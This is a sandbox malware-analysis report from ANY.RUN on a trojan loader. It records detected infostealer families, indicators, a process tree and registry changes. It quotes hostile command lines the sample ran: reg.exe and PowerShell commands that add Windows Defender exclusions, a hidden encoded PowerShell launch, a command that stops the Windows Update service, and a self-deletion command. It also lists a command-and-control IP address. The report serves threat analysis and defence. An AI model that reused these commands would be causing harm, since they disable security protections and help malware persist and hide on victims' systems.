File name:

SecuriteInfo.com.IL.Trojan.MSILZilla.30386.95.11942

Full analysis: https://app.any.run/tasks/f5a2c572-3a48-40ee-ac49-32754803fb0c
Verdict: Malicious activity
Threats:

Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks.

Malware Trends Tracker     >>>
Analysis date: November 09, 2023, 06:50:40
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
opendir
loader
gcleaner
stealc
stealer
rhadamanthys
amadey
botnet
onlylogger
smoke
phishing
neoreklami
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:

65ACBF192DDEF924085504F07E559AD7

SHA1:

991FFA6FAE12E521118BF1800FB9D534037C04FC

SHA256:

CCCC4690ACE16E44F44473C2DF179B5B17E27F863B33ABDA126199014CB224D8

SSDEEP:

6144:lWtuykMCEGs7e4IaLLWCfxMRhU+G36vzgymktD2FqJFCS7tQPD7f8u4GnfF5Kuwj:otuykbEGs7e4IWyCob6LHEB5rMT

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Adds path to the Windows Defender exclusion list

      • SecuriteInfo.com.IL.Trojan.MSILZilla.30386.95.11942.exe (PID: 3020)
      • explorer.exe (PID: 1944)

    • Create files in the Startup directory

      • CasPol.exe (PID: 1088)

    • Drops the executable file immediately after the start

      • CasPol.exe (PID: 1088)
      • eOHA2VCsfCBKKMh0RzO51F2N.exe (PID: 2308)
      • IBYXbieN81AJAXFofh4mSEmZ.exe (PID: 2408)
      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • 5922194382.exe (PID: 1176)
      • Y9WclbSmTRO0ryLdJ6aV3Xi6.exe (PID: 1660)
      • Install.exe (PID: 1764)
      • vrMlHFrJEre4vJcGRewvCkDG.exe (PID: 244)
      • Utsysc.exe (PID: 2272)
      • updater.exe (PID: 2748)
      • Install.exe (PID: 3044)

    • Connects to the CnC server

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • explorer.exe (PID: 1944)

    • STEALC has been detected (SURICATA)

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)

    • GCLEANER has been detected (SURICATA)

      • IBYXbieN81AJAXFofh4mSEmZ.exe (PID: 2408)

    • Runs injected code in another process

      • qfrl0VezEeVkYQAg00KQpUKx.exe (PID: 2820)

    • Application was injected by another process

      • explorer.exe (PID: 1944)

    • Steals credentials

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • rundll32.exe (PID: 1192)

    • RHADAMANTHYS has been detected (SURICATA)

      • dialer.exe (PID: 1180)

    • Uses Task Scheduler to run other applications

      • Utsysc.exe (PID: 2272)
      • Install.exe (PID: 3044)
      • explorer.exe (PID: 1944)
      • hXOvTzQ.exe (PID: 2084)

    • Changes the autorun value in the registry

      • Utsysc.exe (PID: 2272)

    • AMADEY has been detected (SURICATA)

      • Utsysc.exe (PID: 2272)

    • Steals credentials from Web Browsers

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • rundll32.exe (PID: 1560)
      • rundll32.exe (PID: 1192)

    • Starts CMD.EXE for self-deleting

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • IBYXbieN81AJAXFofh4mSEmZ.exe (PID: 2408)

    • ONLYLOGGER has been detected (YARA)

      • IBYXbieN81AJAXFofh4mSEmZ.exe (PID: 2408)

    • Run PowerShell with an invisible window

      • powershell.EXE (PID: 1824)
      • powershell.EXE (PID: 2868)
      • powershell.EXE (PID: 600)
      • powershell.EXE (PID: 2276)

    • Actions looks like stealing of personal data

      • dllhost.exe (PID: 648)
      • rundll32.exe (PID: 1560)
      • rundll32.exe (PID: 1192)
      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • hXOvTzQ.exe (PID: 2084)

    • SMOKE has been detected (SURICATA)

      • explorer.exe (PID: 1944)

    • Unusual connection from system programs

      • rundll32.exe (PID: 1560)
      • rundll32.exe (PID: 1192)
      • rundll32.exe (PID: 2268)
      • rundll32.exe (PID: 2920)

    • Modifies hosts file to block updates

      • vrMlHFrJEre4vJcGRewvCkDG.exe (PID: 244)

    • Creates a writable file the system directory

      • powershell.exe (PID: 2952)
      • hXOvTzQ.exe (PID: 2084)

    • Neoreklami has been detected

      • hXOvTzQ.exe (PID: 2084)

    • Modifies exclusions in Windows Defender

      • reg.exe (PID: 1448)

  • SUSPICIOUS

    • Reads the Internet Settings

      • SecuriteInfo.com.IL.Trojan.MSILZilla.30386.95.11942.exe (PID: 3020)
      • CasPol.exe (PID: 1088)
      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • IBYXbieN81AJAXFofh4mSEmZ.exe (PID: 2408)
      • 5922194382.exe (PID: 1176)
      • Utsysc.exe (PID: 2272)
      • Install.exe (PID: 3044)
      • powershell.EXE (PID: 1824)
      • cmd.exe (PID: 2460)
      • powershell.exe (PID: 3068)
      • rundll32.exe (PID: 1560)
      • rundll32.exe (PID: 1192)
      • rundll32.exe (PID: 2268)
      • rundll32.exe (PID: 2920)
      • Utsysc.exe (PID: 2956)
      • powershell.EXE (PID: 2868)
      • powershell.EXE (PID: 600)
      • powershell.EXE (PID: 2276)

    • Script adds exclusion path to Windows Defender

      • SecuriteInfo.com.IL.Trojan.MSILZilla.30386.95.11942.exe (PID: 3020)
      • explorer.exe (PID: 1944)

    • Starts POWERSHELL.EXE for commands execution

      • SecuriteInfo.com.IL.Trojan.MSILZilla.30386.95.11942.exe (PID: 3020)
      • explorer.exe (PID: 1944)

    • Reads settings of System Certificates

      • CasPol.exe (PID: 1088)
      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • IBYXbieN81AJAXFofh4mSEmZ.exe (PID: 2408)

    • Process requests binary or script from the Internet

      • CasPol.exe (PID: 1088)
      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • Utsysc.exe (PID: 2272)

    • Application launched itself

      • qfrl0VezEeVkYQAg00KQpUKx.exe (PID: 2800)
      • IBYXbieN81AJAXFofh4mSEmZ.exe (PID: 2476)
      • explorer.exe (PID: 1944)

    • Checks Windows Trust Settings

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)

    • Reads security settings of Internet Explorer

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)

    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)

    • Connects to the server without a host name

      • CasPol.exe (PID: 1088)
      • IBYXbieN81AJAXFofh4mSEmZ.exe (PID: 2408)

    • Connects to unusual port

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • dialer.exe (PID: 1180)
      • dllhost.exe (PID: 648)
      • explorer.exe (PID: 2852)

    • Searches for installed software

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • dllhost.exe (PID: 648)

    • The process checks if it is being run in the virtual environment

      • dialer.exe (PID: 1180)

    • Starts CMD.EXE for commands execution

      • IBYXbieN81AJAXFofh4mSEmZ.exe (PID: 2408)
      • forfiles.exe (PID: 1092)
      • forfiles.exe (PID: 2732)
      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • explorer.exe (PID: 1944)
      • hXOvTzQ.exe (PID: 2084)

    • Drops 7-zip archiver for unpacking

      • CasPol.exe (PID: 1088)
      • Y9WclbSmTRO0ryLdJ6aV3Xi6.exe (PID: 1660)

    • Starts itself from another location

      • 5922194382.exe (PID: 1176)
      • Y9WclbSmTRO0ryLdJ6aV3Xi6.exe (PID: 1660)

    • The process drops C-runtime libraries

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)

    • Process drops legitimate windows executable

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)

    • The process drops Mozilla's DLL files

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 1012)
      • cmd.exe (PID: 2468)
      • cmd.exe (PID: 1092)
      • cmd.exe (PID: 2864)
      • cmd.exe (PID: 2748)
      • cmd.exe (PID: 1448)
      • cmd.exe (PID: 2160)
      • cmd.exe (PID: 1072)
      • wscript.exe (PID: 2112)

    • Found strings related to reading or modifying Windows Defender settings

      • forfiles.exe (PID: 1092)
      • forfiles.exe (PID: 2732)
      • hXOvTzQ.exe (PID: 2084)

    • Reads the BIOS version

      • Install.exe (PID: 3044)

    • Reads browser cookies

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)

    • Uses TIMEOUT.EXE to delay execution

      • cmd.exe (PID: 312)

    • Loads DLL from Mozilla Firefox

      • dllhost.exe (PID: 648)
      • rundll32.exe (PID: 1560)
      • rundll32.exe (PID: 1192)

    • Accesses Microsoft Outlook profiles

      • dllhost.exe (PID: 648)
      • rundll32.exe (PID: 1560)
      • rundll32.exe (PID: 1192)

    • The process executes via Task Scheduler

      • powershell.EXE (PID: 1824)
      • hXOvTzQ.exe (PID: 2084)
      • Utsysc.exe (PID: 2956)
      • powershell.EXE (PID: 2868)
      • powershell.EXE (PID: 600)
      • powershell.EXE (PID: 2276)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 1176)
      • cmd.exe (PID: 1584)

    • Uses powercfg.exe to modify the power settings

      • cmd.exe (PID: 2844)
      • cmd.exe (PID: 2380)

    • Executes as Windows Service

      • updater.exe (PID: 2748)
      • raserver.exe (PID: 2940)
      • raserver.exe (PID: 2736)
      • raserver.exe (PID: 2660)

    • Uses NETSH.EXE to obtain data on the network

      • rundll32.exe (PID: 1560)
      • rundll32.exe (PID: 1192)

    • Uses RUNDLL32.EXE to load library

      • rundll32.exe (PID: 2380)
      • rundll32.exe (PID: 1092)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 1692)

    • Drops a system driver (possible attempt to evade defenses)

      • updater.exe (PID: 2748)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 2952)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 2112)

    • Unusual connection from system programs

      • powershell.exe (PID: 2952)

  • INFO

    • Checks supported languages

      • SecuriteInfo.com.IL.Trojan.MSILZilla.30386.95.11942.exe (PID: 3020)
      • CasPol.exe (PID: 1088)
      • qfrl0VezEeVkYQAg00KQpUKx.exe (PID: 2800)
      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • IBYXbieN81AJAXFofh4mSEmZ.exe (PID: 2476)
      • dm1vwqYFK8abRFgZn7nbzp4z.exe (PID: 2284)
      • qfrl0VezEeVkYQAg00KQpUKx.exe (PID: 2820)
      • AppLaunch.exe (PID: 2676)
      • eOHA2VCsfCBKKMh0RzO51F2N.exe (PID: 2308)
      • 325VOYHzbgqGiCT0hueR3jb6.exe (PID: 2396)
      • IBYXbieN81AJAXFofh4mSEmZ.exe (PID: 2408)
      • vrMlHFrJEre4vJcGRewvCkDG.exe (PID: 244)
      • 5922194382.exe (PID: 1176)
      • khecpDjRjuqIukWbLZDmUWnY.exe (PID: 2744)
      • Utsysc.exe (PID: 2272)
      • Y9WclbSmTRO0ryLdJ6aV3Xi6.exe (PID: 1660)
      • Install.exe (PID: 1764)
      • Install.exe (PID: 3044)
      • updater.exe (PID: 2748)
      • Utsysc.exe (PID: 2956)
      • hXOvTzQ.exe (PID: 2084)

    • Reads the computer name

      • SecuriteInfo.com.IL.Trojan.MSILZilla.30386.95.11942.exe (PID: 3020)
      • CasPol.exe (PID: 1088)
      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • IBYXbieN81AJAXFofh4mSEmZ.exe (PID: 2408)
      • 325VOYHzbgqGiCT0hueR3jb6.exe (PID: 2396)
      • khecpDjRjuqIukWbLZDmUWnY.exe (PID: 2744)
      • 5922194382.exe (PID: 1176)
      • Utsysc.exe (PID: 2272)
      • Install.exe (PID: 3044)

    • Reads the machine GUID from the registry

      • SecuriteInfo.com.IL.Trojan.MSILZilla.30386.95.11942.exe (PID: 3020)
      • CasPol.exe (PID: 1088)
      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • IBYXbieN81AJAXFofh4mSEmZ.exe (PID: 2408)
      • 5922194382.exe (PID: 1176)
      • khecpDjRjuqIukWbLZDmUWnY.exe (PID: 2744)
      • Utsysc.exe (PID: 2272)
      • Install.exe (PID: 3044)

    • Reads Environment values

      • CasPol.exe (PID: 1088)
      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)

    • Creates files or folders in the user directory

      • CasPol.exe (PID: 1088)
      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • IBYXbieN81AJAXFofh4mSEmZ.exe (PID: 2408)
      • explorer.exe (PID: 1944)
      • Utsysc.exe (PID: 2272)

    • Create files in a temporary directory

      • CasPol.exe (PID: 1088)
      • eOHA2VCsfCBKKMh0RzO51F2N.exe (PID: 2308)
      • IBYXbieN81AJAXFofh4mSEmZ.exe (PID: 2408)
      • Y9WclbSmTRO0ryLdJ6aV3Xi6.exe (PID: 1660)
      • 5922194382.exe (PID: 1176)
      • Utsysc.exe (PID: 2272)
      • Install.exe (PID: 1764)
      • vrMlHFrJEre4vJcGRewvCkDG.exe (PID: 244)
      • Install.exe (PID: 3044)

    • Checks proxy server information

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • IBYXbieN81AJAXFofh4mSEmZ.exe (PID: 2408)
      • Utsysc.exe (PID: 2272)
      • rundll32.exe (PID: 1560)
      • rundll32.exe (PID: 1192)
      • rundll32.exe (PID: 2268)
      • rundll32.exe (PID: 2920)

    • Reads product name

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)

    • Reads CPU info

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)

    • Creates files in the program directory

      • mHMPa76o5Y1e2xa5vGD4kYCd.exe (PID: 2160)
      • vrMlHFrJEre4vJcGRewvCkDG.exe (PID: 244)

    • The executable file from the user directory is run by the CMD process

      • 5922194382.exe (PID: 1176)

    • Manual execution by a user

      • dllhost.exe (PID: 648)

    • Drops the executable file immediately after the start

      • explorer.exe (PID: 1944)

    • Reads the Internet Settings

      • explorer.exe (PID: 1944)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

OnlyLogger

(PID) Process(2408) IBYXbieN81AJAXFofh4mSEmZ.exe
C285.209.11.204
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (49.4)
.scr | Windows screen saver (23.4)
.dll | Win32 Dynamic Link Library (generic) (11.7)
.exe | Win32 Executable (generic) (8)
.exe | Generic Win/DOS Executable (3.5)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2023:11:07 19:07:31+01:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32
LinkerVersion: 48
CodeSize: 433075
InitializedDataSize: 3584
UninitializedDataSize: -
EntryPoint: 0x6bbad
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 6.34.311.48
ProductVersionNumber: 6.34.311.48
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Unicode
CompanyName: IWaYiCOgA
FileDescription: AvOvEma AKiJoAaGI eUUwUNaAiwE AKeuIkiv EVAfA uzUlaLu edayu OLEPuP.
FileVersion: 6.34.311.48
InternalName: AnAZUXoX
LegalCopyright: © 2023 IWaYiCOgA.
OriginalFileName: aEoJOoA
ProductName: iEOKapuooy
ProductVersion: 6.34.311.48
Comments: OhaOOb UhiVoVi uTInusA IPok EDeHiI isedOcOj aOExIV oqIJeNeu IrOraIExU.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
288
Monitored processes
157
Malicious processes
31
Suspicious processes
7

Behavior graph

Click at the process to see the details
start inject securiteinfo.com.il.trojan.msilzilla.30386.95.11942.exe no specs powershell.exe no specs caspol.exe qfrl0vezeevkyqag00kqpukx.exe no specs ibyxbien81ajaxfofh4msemz.exe no specs #STEALC mhmpa76o5y1e2xa5vgd4kycd.exe dm1vwqyfk8abrfgzn7nbzp4z.exe no specs applaunch.exe qfrl0vezeevkyqag00kqpukx.exe no specs eoha2vcsfcbkkmh0rzo51f2n.exe no specs #ONLYLOGGER ibyxbien81ajaxfofh4msemz.exe #RHADAMANTHYS dialer.exe 325voyhzbgqgict0huer3jb6.exe khecpdjrjuqiukwblzdmuwny.exe no specs vrmlhfrjere4vjcgrewvckdg.exe no specs vrmlhfrjere4vjcgrewvckdg.exe cmd.exe no specs 5922194382.exe no specs #AMADEY utsysc.exe y9wclbsmtro0ryldj6av3xi6.exe no specs y9wclbsmtro0ryldj6av3xi6.exe dllhost.exe schtasks.exe no specs install.exe no specs install.exe no specs forfiles.exe no specs forfiles.exe no specs cmd.exe no specs cmd.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs cmd.exe no specs cmd.exe no specs timeout.exe no specs schtasks.exe no specs schtasks.exe no specs powershell.exe no specs gpupdate.exe no specs #SMOKE explorer.exe powershell.exe cmd.exe sc.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs schtasks.exe cmd.exe powercfg.exe no specs schtasks.exe powercfg.exe no specs powercfg.exe no specs schtasks.exe powercfg.exe no specs updater.exe no specs rundll32.exe no specs rundll32.exe netsh.exe no specs rundll32.exe no specs rundll32.exe netsh.exe no specs schtasks.exe no specs schtasks.exe no specs cmd.exe no specs taskkill.exe no specs powershell.exe raserver.exe no specs cmd.exe sc.exe no specs sc.exe no specs sc.exe no specs sc.exe no specs cmd.exe sc.exe no specs powercfg.exe no specs schtasks.exe powercfg.exe no specs conhost.exe powercfg.exe no specs powercfg.exe no specs explorer.exe rundll32.exe rundll32.exe #NEOREKLAMI hxovtzq.exe utsysc.exe no specs schtasks.exe no specs schtasks.exe no specs powershell.exe no specs gpupdate.exe no specs schtasks.exe no specs cmd.exe no specs reg.exe no specs cmd.exe no specs reg.exe no specs schtasks.exe no specs schtasks.exe no specs powershell.exe no specs raserver.exe no specs gpupdate.exe no specs schtasks.exe no specs cmd.exe no specs reg.exe no specs cmd.exe no specs reg.exe no specs cmd.exe no specs reg.exe no specs cmd.exe no specs reg.exe no specs cmd.exe no specs wscript.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs schtasks.exe no specs schtasks.exe no specs powershell.exe no specs raserver.exe no specs gpupdate.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
244"C:\Users\admin\Pictures\vrMlHFrJEre4vJcGRewvCkDG.exe" C:\Users\admin\Pictures\vrMlHFrJEre4vJcGRewvCkDG.exe
CasPol.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\pictures\vrmlhfrjere4vjcgrewvckdg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
284"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64C:\Windows\SysWOW64\reg.exe—wscript.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\syswow64\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
288"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VxrjVBYufVUn" /t REG_DWORD /d 0 /reg:32C:\Windows\SysWOW64\reg.exe—wscript.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\syswow64\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
312"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\admin\Pictures\mHMPa76o5Y1e2xa5vGD4kYCd.exe" & del "C:\ProgramData\*.dll"" & exitC:\Windows\SysWOW64\cmd.exe—mHMPa76o5Y1e2xa5vGD4kYCd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
460sc stop wuauserv C:\Windows\System32\sc.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
A tool to aid in developing services for WindowsNT
Exit code:
1062
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
584"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\admin\AppData\Local\Temp\SecuriteInfo.com.IL.Trojan.MSILZilla.30386.95.11942.exe" -ForceC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—SecuriteInfo.com.IL.Trojan.MSILZilla.30386.95.11942.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
600C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE—taskeng.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
648"C:\Windows\system32\dllhost.exe"C:\Windows\System32\dllhost.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
COM Surrogate
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\dllhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
796"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NmcYmBndU" /t REG_DWORD /d 0 /reg:64C:\Windows\SysWOW64\reg.exe—wscript.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\syswow64\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
952C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"C:\Windows\System32\schtasks.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
Total events
33 007
Read events
32 401
Write events
605
Delete events
1

Modification events

(PID) Process:(1944) explorer.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Action Center\Checks\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0
Operation:writeName:CheckSetting
Value:
01000000D08C9DDF0115D1118C7A00C04FC297EB01000000088AF72B0747534094337F63DE35C94A000000000200000000001066000000010000200000003A7AE26404D75DF41C31FF40C5EA8CE90BAF74FA9E9BD7A9ACA34C7048350C1E000000000E8000000002000020000000BD2D56D46506C12C41A6A70B10E79EE53CB79EF36FD2BA8CDD2460CB8F4BE86A300000009B5D1418CBF2EB49F3C4BD4C21D58CA55B82FA3D3ED08AF0EF59D6C7ECAFC1055FA323A80FF7C154B1C9B60253392B6640000000DED9FDCC168073324C3013F1BB125E066EB1A2F09FD2C8E7CC7A793AA992E21EF1C942BF7294D04E036428704009B863B1CB981B97312E2530E3E816780CF7C9
(PID) Process:(3020) SecuriteInfo.com.IL.Trojan.MSILZilla.30386.95.11942.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3020) SecuriteInfo.com.IL.Trojan.MSILZilla.30386.95.11942.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3020) SecuriteInfo.com.IL.Trojan.MSILZilla.30386.95.11942.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3020) SecuriteInfo.com.IL.Trojan.MSILZilla.30386.95.11942.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(1088) CasPol.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(1088) CasPol.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(1088) CasPol.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(1088) CasPol.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(1088) CasPol.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\156\52C64B7E
